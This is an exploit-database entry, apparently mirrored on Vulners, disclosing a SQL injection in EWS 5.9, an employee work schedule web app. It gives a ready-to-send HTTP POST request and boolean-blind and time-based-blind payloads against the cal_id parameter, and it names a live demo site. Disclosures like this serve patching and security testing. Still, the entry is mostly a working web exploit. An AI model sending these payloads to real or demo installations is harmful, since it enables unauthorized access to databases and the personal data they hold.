# Exploit Title: EWS 5.9 - 'search' SQL Injection
# Dork: N/A
# Date: 25.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/employee-work-schedule-multicalendar/10545683
# Version: 5.9
# Category: Webapps
# Tested on: Kali linux
# Description : The vulnerability allows an attacker to inject sql commands
from the search section with 'cal_id' parameter.
====================================================
# Demo : http://paulthedutchman.nl/ews/
# PoC : SQLi :
http://test.com/ews/?action=search
POST /ews/?action=search HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://test.com/ews/
Cookie: PHPSESSID=pss9q96b0v9ja9m35hc8s2hod4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
sq=test&cal_id=11%2C90%2C199%2C208
Parameter: cal_id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sq=test&cal_id=11,90,199,208) AND 4528=4528 AND (1723=1723
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: sq=test&cal_id=11,90,199,208) AND SLEEP(5) AND (8958=8958
====================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation